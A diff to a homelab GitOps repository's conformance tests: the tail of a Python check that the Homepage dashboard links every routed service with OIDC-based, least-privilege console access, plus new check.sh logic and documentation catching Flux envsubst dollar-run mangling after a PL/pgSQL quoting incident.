+      "(7) the dashboard's embedded services.yaml / bookmarks.yaml parse as YAML — the app "
+      "mounts these verbatim, so a malformed one is a dashboard that renders nothing")
+
+
+def hrefs(node):
+    """Every href anywhere in Homepage's nested group/entry structure."""
+    if isinstance(node, dict):
+        for k, v in node.items():
+            if k == "href" and isinstance(v, str):
+                yield v
+            else:
+                yield from hrefs(v)
+    elif isinstance(node, list):
+        for v in node:
+            yield from hrefs(v)
+
+
+def host_of(url):
+    m = re.match(r"^https?://([^/]+)", url or "")
+    return m.group(1) if m else None
+
+
+tile_urls = list(hrefs(svc_cfg or []))
+all_urls = tile_urls + list(hrefs(bm_cfg or []))
+all_hosts = [h for h in (host_of(u) for u in all_urls) if h]
+linked = {lbl for lbl in (zone_label(h) for h in all_hosts) if lbl}
+tile_labels = {lbl for lbl in (zone_label(h) for h in (host_of(u) for u in tile_urls) if h) if lbl}
+
+groups = [g for g in (svc_cfg or []) if isinstance(g, dict)]
+check(len(groups) >= 1 and len(tile_labels) >= 5,
+      f"(7) the root is a grouped service catalog with links "
+      f"({len(groups)} group(s), {len(tile_labels)} linked home-zone service(s))")
+
+# ============================================ (8) FORWARD: nothing routed is hidden
+unsurfaced = sorted(set(routed_labels) - linked)
+check(not unsurfaced,
+      "(8) every service the repo ROUTES over HTTP is surfaced on the C2 root. Unsurfaced: "
+      + ", ".join(f"{n}.{TOKEN} ({routed_labels[n].relative_to(ROOT)})" for n in unsurfaced)
+      if unsurfaced else
+      f"(8) every service the repo ROUTES over HTTP is surfaced on the C2 root "
+      f"({len(routed_labels)} hostname(s) compared)")
+
+# L4-only endpoints are reported, never required: a raw TCP/UDP port has no browsable URL.
+for lbl in sorted(set(l4_labels) - linked):
+    ADVISORIES.append(
+        f"{lbl}.{TOKEN} is published to DNS by an L4 Service "
+        f"({l4_labels[lbl].relative_to(ROOT)}) and is not linked from the root. Not a "
+        f"failure: a raw TCP/UDP endpoint has no URL a browser can follow. Verify the "
+        f"service it belongs to is reachable through a tile that IS linked")
+
+# ================================= (9) FORWARD: the VERSIONED onboarding contract
+cat_dir = ROOT / "catalog"
+cat_seen, cat_missing, cat_unrouted = 0, [], []
+for p in sorted(cat_dir.glob("*.yaml")):
+    sd = next((d for d in (DOCS.get(p) or [])), None)
+    if not isinstance(sd, dict) or sd.get("kind") != "container":
+        continue                      # kind: vm has no north-south HTTP surface (docs/09)
+    for r in sd.get("ingressRoutes") or []:
+        lbl = zone_label(str(r.get("host", "")))
+        if not lbl:
+            continue
+        if lbl not in routed_labels:
+            # Declared in the catalog but not rendered into a route: an apps/ render drift
+            # problem owned by R-GITOPS-02, reported here rather than silently skipped.
+            cat_unrouted.append(f"{sd.get('name')}:{lbl}")
+            continue
+        cat_seen += 1
+        if lbl not in linked:
+            cat_missing.append(f"{sd.get('name')}:{lbl}")
+check(cat_seen >= 5,
+      f"(9) the versioned catalog contributes routed HTTP services ({cat_seen} found) — the "
+      f"C2 is tied to the onboarding contract, not only to today's rendered output")
+check(not cat_missing,
+      f"(9) every catalog `kind: container` service with a route is linked from the C2 root "
+      f"{cat_missing if cat_missing else ''}")
+for u in cat_unrouted:
+    ADVISORIES.append(f"catalog declares an ingress host with no rendered HTTPRoute: {u} "
+                      f"(render drift — R-GITOPS-02 owns it, not R-C2-01)")
+
+# ============================ (10)(11) REVERSE: no link points at nothing
+ann = (cm.get("metadata", {}) or {}).get("annotations", {}) or {}
+OFF_ANN = "homelab.keithjackson.dev/off-cluster-links"
+declared_off_raw = [t for t in re.split(r"[,\s]+", str(ann.get(OFF_ANN, ""))) if t]
+declared_off = {zone_label(t) for t in declared_off_raw}
+served = set(routed_labels) | set(l4_labels)
+dead = sorted(linked - served - declared_off)
+check(not dead,
+      f"(10) every home-zone link the root offers resolves to something this repo serves — "
+      f"an HTTPRoute (L7) or a hostname-publishing LoadBalancer Service (L4). Dead: "
+      f"{[f'{d}.{TOKEN}' for d in dead] if dead else ''}")
+# The escape hatch is a DECLARATION, not a hole: same doctrine as an explicit `NONE` in
+# ci/touched-requirements.sh's path map. Empty today, and these two hold vacuously when it is
+# — they exist so it cannot be widened into a blanket without failing.
+check(all(zone_label(t) for t in declared_off_raw),
+      f"(11) every declared off-cluster link is a specific home-zone hostname in TOKEN form "
+      f"({declared_off_raw})")
+shadowed = sorted(declared_off & served)
+check(not shadowed,
+      f"(11) no off-cluster declaration shadows a hostname the repo DOES serve "
+      f"{shadowed if shadowed else ''}")
+
+# ============================ (12) tokens, never literals
+literal_hosts = sorted({h for h in all_hosts if is_literal_base(h)})
+check(not literal_hosts,
+      f"(12) no link on the root names a LITERAL '{LITERAL_BASE}' host — every hostname is the "
+      f"${{BASE_DOMAIN}} token, so prod's front door cannot link dev's services (the "
+      f"2026-09-04 class: two clusters authored to describe the same names). Literals: "
+      f"{literal_hosts if literal_hosts else ''}")
+
+# =====================================================================
+# R-C2-02 — platform health, and controlled operational actions
+# =====================================================================
+# docs/12 names the surfaces the C2 composes: Headlamp is "the R-C2-02 'controlled
+# operational actions where safe' surface"; Grafana is the dashboards/alerts surface. Each is
+# identified by the component that OWNS ITS ROUTE, not by a magic string in the config.
+CONSOLE, DASHBOARDS = "headlamp", "grafana"
+check(CONSOLE in linked,
+      f"(13) the C2 root links the Kubernetes console ({CONSOLE}.{TOKEN}) — cluster, storage "
+      f"and GitOps state, and the R-C2-02 operational-actions surface (docs/12)")
+check(DASHBOARDS in linked,
+      f"(13) the C2 root links the dashboards/alerts surface ({DASHBOARDS}.{TOKEN})")
+
+AGG = ("\n".join(read(ROOT / t / "kustomization.yaml")
+                 for t in ("platform", "platform-config", "platform-config-cdi")))
+for label, name in (("console", CONSOLE), ("dashboards", DASHBOARDS)):
+    comp = routed_labels.get(name)
+    check(comp is not None, f"(14) the {label} surface has an in-repo HTTPRoute")
+    if comp is None:
+        continue
+    rel = f"./{comp.relative_to(ROOT)}"
+    reconciled = any((d.get("spec", {}) or {}).get("path", "").rstrip("/") == rel
+                     for _, d in flux_ks)
+    if not reconciled:
+        # A component may reconcile as a MEMBER of an aggregate tier's kustomize tree
+        # (platform / platform-config) instead of owning a Flux Kustomization. Both count;
+        # being in NEITHER is "authored, never applied".
+        reconciled = (f"\n  - {comp.name}" in AGG
+                      or f"../{comp.relative_to(ROOT)}/" in AGG)
+    check(reconciled,
+          f"(14) the {label} surface ({comp.name}) is reconciled by Flux, not merely authored "
+          f"— a link to an unreconciled component is a link to nothing")
+
+# (15) the health DATA exists as code, for every axis R-C2-02 enumerates.
+rule_files = sorted({p for p, d in docs_all() if d.get("kind") == "PrometheusRule"})
+rule_groups = {g.get("name", "")
+               for p, d in docs_all() if d.get("kind") == "PrometheusRule"
+               for g in ((d.get("spec", {}) or {}).get("groups") or [])}
+for axis, needle in (("cluster/nodes", "nodes"),
+                     ("storage", "longhorn"),
+                     ("GitOps reconciliation", "flux"),
+                     ("certificate expiry", "certificates")):
+    check(any(needle in g for g in rule_groups),
+          f"(15) platform-health alert rules exist for {axis} (a '*{needle}*' rule group) — "
+          f"the C2 cannot surface health that is not measured")
+pc_txt = read(ROOT / "platform-config" / "kustomization.yaml")
+reconciled_rules = [p for p in rule_files if f"../{p.relative_to(ROOT)}" in pc_txt]
+check(len(reconciled_rules) >= 2,
+      f"(15) those alert rules are RECONCILED — PrometheusRule is a CR of a CRD the platform "
+      f"tier installs, so the rules are applied by platform-config "
+      f"({len(reconciled_rules)}/{len(rule_files)} rule file(s) referenced there)")
+
+# (16)(17) controlled actions: no shared cluster-admin identity; per-user OIDC instead.
+console_dir = routed_labels.get(CONSOLE)
+hr = next((d for p in (sorted(console_dir.glob("*.yaml")) if console_dir else [])
+           for d in (DOCS.get(p) or []) if d.get("kind") == "HelmRelease"), None)
+check(hr is not None, "(16) the Kubernetes console is deployed by a HelmRelease")
+hv = ((hr or {}).get("spec", {}) or {}).get("values", {}) or {}
+check((hv.get("clusterRoleBinding") or {}).get("create") is False,
+      "(16) the console chart is told NOT to bind its ServiceAccount to a ClusterRole. The "
+      "chart's DEFAULT binds it to cluster-admin, which is exactly the 'raw cluster-admin "
+      "kubeconfig in a browser' docs/12 forbids — every visitor would act as one shared "
+      "omnipotent identity")
+oidc = ((hv.get("config") or {}).get("oidc") or {})
+check(bool(oidc),
+      "(17) the console is configured for native OIDC login, so an action carries the "
+      "operator's OWN identity (docs/12: Headlamp/Grafana use native OIDC)")
+check(bool((oidc.get("externalSecret") or {}).get("name")),
+      "(17) its OIDC client credentials come from a NAMED (SOPS) Secret, not inline in the "
+      "HelmRelease values — R-SEC-01")
+
+# (18) rights arrive through GROUPS, at more than one privilege level.
+group_bindings = []
+for p, d in docs_all():
+    if d.get("kind") not in ("ClusterRoleBinding", "RoleBinding"):
+        continue
+    for s in d.get("subjects") or []:
+        if s.get("kind") == "Group" and str(s.get("name", "")).startswith("oidc:"):
+            group_bindings.append(((d.get("metadata", {}) or {}).get("name"),
+                                   s.get("name"),
+                                   (d.get("roleRef") or {}).get("name")))
+check(len(group_bindings) >= 2,
+      f"(18) cluster rights are bound to OIDC GROUPS, so access follows Keycloak group "
+      f"membership rather than a per-user grant somebody must remember to revoke "
+      f"({[(g, r) for _, g, r in group_bindings]})")
+check(any(r == "cluster-admin" for _, _, r in group_bindings)
+      and any(r != "cluster-admin" for _, _, r in group_bindings),
+      "(18) MORE THAN ONE privilege level exists (an admin group AND a lesser one) — "
+      "least-privilege, not one tier for everybody (docs/12 access control, R-IDP-06)")
+
+# (19) the root DECLARES the authenticated-group posture. DECLARED, NOT ENFORCED.
+route_ann = (apex_route.get("metadata", {}) or {}).get("annotations", {}) or {}
+check(route_ann.get("homelab.keithjackson.dev/auth-mode") in ("forward-auth", "oidc", "oauth2-proxy"),
+      f"(19) the C2 root's route DECLARES an authentication mode "
+      f"(found {route_ann.get('homelab.keithjackson.dev/auth-mode')!r}) "
+      f"[DECLARED, NOT ENFORCED — no Gateway ext-authz attachment exists in this repo]")
+check(bool(route_ann.get("homelab.keithjackson.dev/auth-groups")),
+      "(19) it DECLARES the authorized group(s) — docs/12 requires an authenticated user IN "
+      "AN AUTHORIZED GROUP, not merely logged in "
+      "[DECLARED, NOT ENFORCED — see the header's gap note]")
+
+# ======================================================================== report
+print()
+print(f"C2 surface inventory (apex {TOKEN}, literal base default '{LITERAL_BASE}'):")
+print(f"  routed over HTTP : {len(routed_labels)}  -> {', '.join(sorted(routed_labels))}")
+print(f"  L4-published     : {len(l4_labels)}  -> {', '.join(sorted(l4_labels)) or '(none)'}")
+print(f"  linked from root : {len(linked)}  -> {', '.join(sorted(linked))}")
+print(f"  apex-path routes : {len(apex_inheriting)}  -> "
+      f"{', '.join(str(p.relative_to(ROOT)) for p in apex_inheriting) or '(none)'}")
+print(f"  catalog services compared: {cat_seen}   off-cluster declarations: "
+      f"{sorted(declared_off_raw) or '(none)'}")
+
+if ADVISORIES:
+    print("\nADVISORIES (not failures):")
+    for a in ADVISORIES:
+        print(f"  - {a}")
+
+print()
+if not FAILURES:
+    print(f"check OK: c2-root-surface — {CHECKS} assertions (R-C2-01, R-C2-02)")
+    raise SystemExit(0)
+print(f"CHECK FAIL (c2-root-surface): {len(FAILURES)} failed, "
+      f"{CHECKS - len(FAILURES)} passed", file=sys.stderr)
+for f in FAILURES:
+    print(f"  FAIL {f}", file=sys.stderr)
+raise SystemExit(1)
+PY

conformance/tests/l0-static/flux-postbuild-substitution/chainsaw-test.yaml

@@ -8,6 +8,18 @@
 # the empty string while the Kustomization still reports Ready — which emptied Cilium's
 # k8sServiceHost and broke the CNI on 2/3 dev nodes (DECISIONS-LOG 2026-09-01).
 #
+# It is also LOSSY IN THE OTHER DIRECTION, and that is the second incident on this record.
+# envsubst consumes dollars in PAIRS and emits one per pair, unconditionally and everywhere —
+# so no substituted path can carry a literal `$$` at all. On 2026-09-13 a ConfigMap under
+# apps-wave-0 shipped a dollar-quoted PL/pgSQL `DO $$ ... $$;` self-check; Postgres received
+# a half-quoted `DO $` and every Flux-reconciled run of the nextcloud-db grant reconciler died
+# with a syntax error, nine Error pods deep before anyone looked (commit 16b7fcd). It passed
+# review because it was hand-applied with `kubectl apply`, which runs no envsubst: the defect
+# existed ONLY on the rendered path, and it landed on the assertion whose whole job was to
+# make a silent regression visible. Nothing here failed — the manifest rendered
+# "successfully" into something broken, because the check treated any doubled dollar as a
+# deliberate escape and stopped looking.
+#
 # GIVEN every Flux Kustomization under clusters/ that declares postBuild.substituteFrom,
 # WHEN  each `spec.path` is resolved to the exact file set it renders (following
 #       kustomization.yaml `resources:` transitively, not globbing the repo),
@@ -15,7 +27,12 @@
 #       or deliberately ESCAPED `$${...}`; no unescaped expansion carries a default
 #       operator on an undefined name (the silent-empty class strict mode does NOT catch);
 #       no unescaped expansion is unparseable by envsubst (which fails the WHOLE
-#       Kustomization); every path rendering a knob actually substitutes cluster-vars;
+#       Kustomization); NO RUN OF TWO OR MORE DOLLARS IS SILENTLY REWRITTEN — the only shape
+#       that passes unremarked is exactly `$${`, the documented total escape, and every other
+#       run (a bare `$$` that cannot survive verbatim, an ODD `$$${...}` that only LOOKS
+#       escaped and in fact expands, an over-counted `$$$${...}`) is named and justified in
+#       `dollar-collapse.allow`, which is itself held to being exact and non-stale;
+#       every path rendering a knob actually substitutes cluster-vars;
 #       every overlay-patched knob has a base default; and the check is wired into the
 #       merge gate as a blocking, unconditionally-run stage.
 #
@@ -26,6 +43,19 @@
 # only); conformance/run.sh --layer l0 and ci/l0.sh run it directly, and this Chainsaw
 # Test wraps the SAME script.
 #
+# NOT proven, and deliberately NOT proxied: the wider lesson of 2026-09-13 is that the bug
+# survived review because verification used a path (`kubectl apply`) that runs no
+# substitution. That property is NOT statically decidable from this repo — which command
+# someone ran is a fact about a shell session, and git stores the manifest, never the
+# invocation. Grepping commit prose or runbooks for `kubectl apply` would be trivially
+# satisfiable by rewording and would fire on the break-glass runbooks whose whole content is
+# that command, so no such proxy is attempted. The dollar-run assertion is the honest answer
+# instead: it moves the proof off the verification PATH and onto the SOURCE, where it IS
+# decidable, so the mangling is caught by reading the manifest however a human chose to try
+# it. An end-to-end `kustomize build | flux envsubst --strict` per substituted path would be
+# the real thing, and it is how the arithmetic in check.sh's header was measured — but the L0
+# CI toolchain installs neither tool, so as a gate stage it would SKIP permanently.
+#
 # NOT proven (named in check.sh's header): this is a STATIC scan of the SOURCE manifests
 # a path includes — a deliberate superset of the post-`kustomize build` stream. It does
 # not render, does not prove the feature gate is enabled on the live kustomize-controller,
@@ -63,13 +93,16 @@ metadata:
     conformance.home.k3s/intent: >-
       Every variable a substituted Flux path renders is defined in cluster-vars or
       escaped, so post-build substitution cannot silently empty a value and enabling
-      StrictPostBuildSubstitutions cannot fail a legitimate manifest.
+      StrictPostBuildSubstitutions cannot fail a legitimate manifest; and no dollar run
+      envsubst rewrites reaches the cluster unreviewed, so content that must arrive
+      verbatim cannot be silently mangled on the Flux-rendered path (16b7fcd).
 spec:
   steps:
     - name: audit-every-substituted-flux-path
       description: >-
         Resolve each postBuild.substituteFrom Kustomization to the files it renders and
-        assert every ${...} is defined or escaped, then assert the gate wires it blocking.
+        assert every ${...} is defined or escaped and no dollar run is silently collapsed,
+        then assert the gate wires it blocking.
       try:
         - script:
             content: bash ./check.sh

conformance/tests/l0-static/flux-postbuild-substitution/check.sh

@@ -18,6 +18,32 @@
 # substituted path renders is either DEFINED or deliberately ESCAPED — and nothing in
 # the repo asserted that. This check does.
 #
+# SECOND INCIDENT, 2026-09-13 — THE INVERSE HAZARD (commit 16b7fcd)
+# ------------------------------------------------------------------
+# The first incident was a variable the author wanted EXPANDED that rendered EMPTY. This one
+# is its mirror: content the author wanted to reach the workload UNTOUCHED that substitution
+# silently REWROTE. A CronJob reconciler in apps/wave-0/nextcloud-db.yaml asserted its own
+# convergence in a dollar-quoted PL/pgSQL block —
+#
+#     DO <dq> BEGIN ... END <dq>;     where <dq> is two literal dollars: standard Postgres
+#
+# — inside a ConfigMap under apps-wave-0, which declares postBuild.substituteFrom. envsubst
+# collapses a doubled dollar into ONE dollar, ALWAYS, so Postgres received a half-quoted
+# `DO <one dollar>` and died with `syntax error at or near "$"`. Three scheduled runs left
+# nine Error pods in nextcloud-db before anyone looked.
+#
+# It PASSED verification because it was hand-applied with `kubectl apply`, which runs NO
+# envsubst. The defect existed ONLY on the Flux-rendered path. And the damage landed
+# precisely on the self-check: the GRANT on line 1 still ran, so the privilege stayed
+# correct and the only thing broken was the assertion meant to make a silent regression
+# visible — the part whose whole job is to stop a blind spot being quiet.
+#
+# THE ASSERTION GAP THIS CLOSES: assertions (1)-(3) below ask whether every `${...}` is
+# defined, escaped, or parseable. They said NOTHING about a doubled dollar that is not an
+# escape, because the old classifier treated a `$` run of length >= 2 as "escaped, therefore
+# fine" and stopped looking. Nothing failed the gate; the manifest rendered "successfully"
+# into something broken. Assertion (7) is that hole, closed.
+#
 # ENVSUBST BEHAVIOUR ASSERTED HERE (empirically verified against the pinned toolchain,
 # `flux envsubst`, flux 2.4.0 — this is measured behaviour, not assumption):
 #   ${DEFINED}        -> substituted with the cluster-vars value.
@@ -33,6 +59,66 @@
 #                        shell/cloud-init consumer. Escaping is total: it neutralises
 #                        even the indexed form.
 #   $VAR, $(cmd)      -> left alone by envsubst; they need no escaping.
+#
+# DOLLAR-RUN ARITHMETIC — the exact rule, MEASURED, not inferred (see assertion (7))
+# ---------------------------------------------------------------------------------
+# envsubst here is `github.com/fluxcd/pkg/envsubst` v1.1.0 — Flux's own maintained FORK of
+# `github.com/drone/envsubst` ("This package is a fork of drone/envsubst", its README) — and it
+# is exposed by the `flux envsubst` CLI ("replicate the behavior of the Flux Kustomization
+# post-build substitutions", its own --help). Named from the binary, not from memory: the
+# pinned flux 2.4.0 in the dev image embeds the Go module path
+# `/home/runner/go/pkg/mod/github.com/fluxcd/pkg/[email protected]/parse`
+# (`grep -ao 'github.com/fluxcd/pkg/envsubst[^ ]*' "$(command -v flux)"`). Its scanner walks
+# the input left to right; on a `$` it looks at the NEXT byte:
+#   * another `$`   -> BOTH are consumed and ONE `$` is emitted. This is UNCONDITIONAL. What
+#                      follows the pair is irrelevant — `{`, a letter, a digit, a semicolon,
+#                      a newline, end of input. `$$` is not "the escape for `${`"; it is the
+#                      escape for `$` itself, everywhere.
+#   * `{`           -> the braced expression is parsed and EXPANDED.
+#   * anything else -> the `$` is emitted literally (hence `$VAR` and `$(cmd)` survive).
+# So a run of N consecutive dollars emits floor(N/2) literal dollars, and when N is ODD the
+# final dollar is still LIVE. Measured with flux 2.4.0 `flux envsubst`, DEFINED=VALUE — the
+# left column is authored bytes, the right is what reaches the cluster:
+#
+#   $                 ->  $                  ${DEFINED}       ->  VALUE
+#   $$                ->  $                  $${DEFINED}      ->  ${DEFINED}   <- the escape
+#   $$$               ->  $$                 $$${DEFINED}     ->  $VALUE   <- ODD: brace LIVE
+#   $$$$              ->  $$                 $$$${DEFINED}    ->  $${DEFINED}
+#   $$$$$             ->  $$$                $$$$${DEFINED}   ->  $$VALUE
+#   DO $$ .. $$;      ->  DO $ .. $;         $$${NOPE:-d}     ->  $d
+#   awk '{print $$2}' ->  awk '{print $2}'   $${ARR[0]}       ->  ${ARR[0]}    (safe)
+#   $$@ $$< $$^       ->  $@ $< $^           $$${ARR[0]}      ->  HARD PARSE ERROR, whole
+#                                                                 Kustomization dies
+#
+# TWO CONSEQUENCES THIS CHECK IS BUILT ON:
+#   (a) THERE IS NO WAY TO SHIP A LITERAL `$$` THROUGH A SUBSTITUTED PATH. To make two
+#       dollars arrive you must author FOUR. So any authored `$$` that is meant to reach the
+#       workload verbatim is a BUG, full stop — that is the 2026-09-13 incident, and Postgres
+#       dollar-quoting is its commonest shape (Makefile `$$@`, awk `$$2` and docker-compose
+#       `$${}` are the same hazard arriving from the other direction: there the collapse is
+#       what the author wanted).
+#   (b) `$$$` + brace is NOT "more escaped" than `$$` + brace — it is NOT escaped at all. An
+#       odd run leaves one live dollar, so the brace expands, or, for an inner envsubst
+#       cannot parse, fails the ENTIRE Kustomization (proven above with $$${ARR[0]}, which
+#       aborted the whole stream while $${ARR[0]} on the line before it was fine).
+# `--strict` reports NONE of this: every row of that table except the parse error was
+# accepted SILENTLY by `flux envsubst --strict`, exit 0, and its output was BYTE-IDENTICAL to
+# non-strict (`cmp`). Strict mode cannot see this class, so a source-level assertion is the
+# only available guard.
+#
+# TO REPRODUCE THE TABLE (30 seconds, no cluster) — it is a measurement, so re-measure it
+# after any FLUX_VERSION bump in infra/devcontainer/versions.env. Open the toolbox with
+# `./infra/devcontainer/dev.sh` and run these INSIDE it (do NOT pipe into `dev.sh run` from
+# the host: it starts the container with `-it`, so a piped stdin hangs):
+#   printf '[$$] [$$$] [$${D}] [$$${D}] [DO $$ x $$;]\n' | D=VALUE flux envsubst
+#   -> [$] [$$] [${D}] [$VALUE] [DO $ x $;]
+# And end-to-end, on the actual delivery path, with the pre-16b7fcd manifest checked out
+# (`git show 16b7fcd^:apps/wave-0/nextcloud-db.yaml > apps/wave-0/nextcloud-db.yaml`):
+#   kubectl kustomize apps/wave-0 | grep 'DO \$'            -> "DO $$"  (the kubectl path)
+#   kubectl kustomize apps/wave-0 | flux envsubst --strict | grep 'DO \$'
+#                                                           -> "DO $"   (the FLUX path), exit 0
+# (`kubectl kustomize` IS the kustomize build here; the image ships no standalone binary.)
+# That two-command contrast IS the 2026-09-13 incident, and is why review missed it.
 #   ${...}, ${a b}, ${ARR[0]}  (UNESCAPED) -> HARD PARSE ERROR ("unable to parse
 #                        variable name" / "missing closing brace") which fails the
 #                        WHOLE Kustomization — every resource in the path, not just
@@ -55,6 +141,12 @@
 #       (5) every knob an overlay patches (`/data/KEY`) exists in the BASE ConfigMap —
 #           the "add the knob with a base default BEFORE referencing it" rule that the
 #           incident's interim discipline depends on;
+#       (7) NO DOLLAR RUN IS SILENTLY REWRITTEN: the only run of length >= 2 that passes
+#           unremarked is exactly `$$` immediately followed by `{` — the documented, total,
+#           already-inventoried escape. EVERY other run of >= 2 dollars (a bare `$$`, an odd
+#           `$$$`, an over-counted `$$$$`) is rewritten by envsubst between git and the
+#           container, so it must be named and justified in `dollar-collapse.allow`, a file
+#           this check also holds to being exact and non-stale;
 #   AND (6) this check is LOAD-BEARING: it DECLARES `conformance.home.k3s/scope: whole-repo`,
 #           so ci/l0.sh's `--include-scope whole-repo` runs it on every gate run, and
 #           ci/gate.sh sets the merge block when the l0 stage fails.
@@ -79,6 +171,21 @@
 #     kustomize-controller. Both are cluster facts (L2), untested here. Tagging
 #     R-GITOPS-01 claims ONLY the static slice: what git says a Kustomization renders
 #     is fully determined, with no variable silently emptied on the way in.
+#   - It CANNOT prove the thing that actually let 16b7fcd's bug reach a cluster: that a
+#     change was VERIFIED through a substituting path. "It was hand-applied with kubectl" is
+#     a fact about a shell session, not about any tracked file — git records the manifest,
+#     never the command someone ran to try it, so the property is not statically decidable
+#     here and no honest formulation of it exists. Nor is a proxy worth having: grepping
+#     commit prose or runbooks for `kubectl apply` would be trivially satisfiable by
+#     rewording, and would fire on the many legitimate break-glass runbooks whose whole
+#     content is that command. So this check does not attempt it, and does not pretend to.
+#     Assertion (7) answers that incident a different way: it moves the proof off the
+#     verification PATH, which is unknowable, and onto the SOURCE, which is not — the
+#     mangling is now caught by reading the manifest, whichever way a human chose to try it.
+#     (The one decidable half-measure, `kustomize build <path> | flux envsubst --strict` per
+#     substituted path in CI, is already ruled out above: the L0 toolchain installs neither
+#     tool, so the stage would SKIP permanently. The dev image has both, and it is how the
+#     arithmetic table above was measured.)
 #   - It does NOT validate cluster-vars VALUES (that GATEWAY_VIP is inside the LB pool,
 #     that an overlay's LAN block is self-consistent). Presence, not correctness.
 #   - A cluster-vars key nothing references is reported as an ADVISORY, never a failure:
@@ -108,6 +215,7 @@ definition of "what a Flux path actually renders" in the harness.
 """
 from __future__ import annotations
 
+import bisect
 import os
 import re
 import sys
@@ -231,9 +339,18 @@ LEN_RE = re.compile(r"^#([A-Za-z_][A-Za-z0-9_]*)$")
 
 
 def classify(dollars: int, inner: str) -> tuple[str, str] | None:
-    """Return (severity-tag, remediation) for a hazardous expansion, else None."""
-    if dollars >= 2:
-        return None                                   # escaped: emitted as a literal
+    """Return (severity-tag, remediation) for a hazardous expansion, else None.
+
+    PARITY, not ">= 2" (the 2026-09-13 correction). envsubst consumes dollars in PAIRS and
+    emits one per pair, so a run of N dollars in front of a brace leaves the brace ESCAPED
+    only when N is EVEN. An ODD run emits floor(N/2) literal dollars and its last dollar is
+    still LIVE, so `$$${X}` expands exactly as `${X}` does — and `$$${ARR[0]}` fails the
+    whole Kustomization where `$${ARR[0]}` is harmless. The old `dollars >= 2 -> return None`
+    called every such run "escaped" and stopped looking. Assertion (7) flags the run itself;
+    this function additionally classifies the still-live expansion an odd run carries.
+    """
+    if dollars % 2 == 0:
+        return None                                   # fully escaped: emitted as a literal
     if NAME_RE.match(inner):
         if inner in KEYS:
             return None                               # defined knob — the happy path
@@ -268,6 +385,9 @@ def rendered_files(path_spec: str) -> tuple[list[str], bool]:
 findings: list[str] = []
 referenced: dict[str, set[str]] = {}
 inventory: list[str] = []
+# rel path -> the Kustomization name(s) that render it, for assertion (7)'s second pass.
+# A file can be rendered by more than one Kustomization; all of them substitute.
+subst_files: dict[str, set[str]] = {}
 
 for k in kustomizations:
     files, exists = rendered_files(k["path"])
@@ -281,13 +401,14 @@ for k in kustomizations:
             text = f.read_text()
         except (OSError, UnicodeDecodeError):
             continue
+        subst_files.setdefault(rel, set()).add(k["name"])
         for lineno, line in enumerate(text.splitlines(), 1):
             for m in TOKEN_RE.finditer(line):
                 dollars, inner = len(m.group(1)), m.group(2)
                 verdict = classify(dollars, inner)
                 if verdict is None:
-                    if dollars >= 2:
-                        n_esc += 1
+                    if dollars % 2 == 0:              # PARITY, see classify(): an odd run is
+                        n_esc += 1                    # live, not escaped
                     else:
                         n_def += 1
                         referenced.setdefault(re.split(r"[:/#%^,]", inner)[0] or inner,
@@ -313,6 +434,156 @@ for k in kustomizations:
 check(not findings,
       f"{len(findings)} unescaped, undefined or unparseable expansion(s) in substituted paths")
 
+# ----------------------------------- (7) no dollar run is silently rewritten on the way out
+# THE 2026-09-13 CLASS. envsubst consumes dollars in PAIRS and emits one per pair,
+# unconditionally and everywhere (header: DOLLAR-RUN ARITHMETIC, measured against flux 2.4.0).
+# So every run of >= 2 dollars in a substituted manifest is REWRITTEN between git and the
+# container, and from the text alone the two intents are indistinguishable:
+#
+#   (a) a deliberate escape the author WANTS collapsed  — `$${VAR}` -> literal `${VAR}`;
+#   (b) content that must arrive VERBATIM               — `DO $$ ... $$;` -> `DO $ ... $;`
+#                                                          i.e. the incident. A BUG.
+#
+# THE RULE CHOSEN, AND WHY IT IS NEITHER NOISY NOR VACUOUS.
+# Exactly ONE shape passes unremarked: a run of EXACTLY TWO dollars immediately followed by
+# `{`. That is not a guess about intent, it is the escape contract this repo already
+# documents in clusters/base/apps-vms.yaml, that assertions (1)-(3) already validate the
+# inside of, and that 18 reviewed occurrences already rely on (unifi cloud-init, the gitea
+# and nextcloud OIDC bootstrap scripts, two longhorn comments). Failing those would be a
+# permanently-firing alert on documented, correct intent, and this repo has already been
+# bitten by one of those.
+#
+# EVERY OTHER run of >= 2 dollars FAILS unless it is named in `dollar-collapse.allow`:
+#   * DOLLAR-COLLAPSE   — a run not followed by `{`. Cannot survive verbatim: `$$` -> `$`.
+#                         This is the incident's exact shape and a blanket bug by default.
+#   * DOLLAR-HALF-ESCAPED — an ODD run >= 3 before `{`. Looks escaped, is not: the last
+#                         dollar is live. Occasionally legitimate (`$$${PRICE}` to render a
+#                         literal `$` before a value), so it is allowlistable, not banned.
+#   * DOLLAR-OVER-ESCAPED — an EVEN run >= 4 before `{`. Emits N/2 dollars then a literal
+#                         brace; nearly always a miscount, sometimes deliberate.
+#
+# WHY AN ALLOWLIST AND NOT A BLANKET BAN: a blanket ban was the first choice and was
+# rejected on evidence, not taste — main carries two real non-braced `$$` occurrences today
+# (prose inside embedded shell comments), so a blanket ban would have shipped RED. Nor is
+# the allowlist a hole: an entry is a hand-written edit to a file inside the conformance
+# test, which is loud in review; it must quote a >= 24-character VERBATIM context, so it can
+# only ever cover the occurrence it was written for and never a future one that drifts into
+# the same file; it must carry a >= 40-character reason; and every entry must still MATCH
+# something, so the allowlist cannot rot into a blanket exemption after the code it excused
+# is deleted. A wildcard, a bare `$$` context and a stale entry each FAIL.
+ALLOW_FILE = (ROOT / "conformance" / "tests" / "l0-static"
+              / "flux-postbuild-substitution" / "dollar-collapse.allow")
+MIN_CONTEXT = 24
+MIN_REASON = 40
+DOLLAR_RUN_RE = re.compile(r"\$+")
+
+allow_entries: list[dict] = []
+check(ALLOW_FILE.is_file(),
+      f"{ALLOW_FILE.relative_to(ROOT)} is missing — assertion (7) needs its allowlist to "
+      f"exist even when empty, because an absent file and an empty file are the same green "
+      f"and the next author would not know the mechanism is there")
+if ALLOW_FILE.is_file():
+    for lineno, raw in enumerate(ALLOW_FILE.read_text().splitlines(), 1):
+        if not raw.strip() or raw.lstrip().startswith("#"):
+            continue
+        parts = [x.strip() for x in raw.split("|")]
+        if len(parts) != 3:
+            check(False, f"dollar-collapse.allow:{lineno}: expected exactly 3 '|'-separated "
+                         f"fields (path | verbatim-context | reason), got {len(parts)}")
+            continue
+        allow_entries.append({"line": lineno, "path": parts[0], "ctx": parts[1],
+                              "reason": parts[2], "used": 0})
+
+for e in allow_entries:
+    tag = f"dollar-collapse.allow:{e['line']}"
+    check((ROOT / e["path"]).is_file(),
+          f"{tag}: names '{e['path']}', which is not a file in this repo — a stale entry is "
+          f"a standing exemption for a path someone could recreate")
+    check(len(e["ctx"]) >= MIN_CONTEXT,
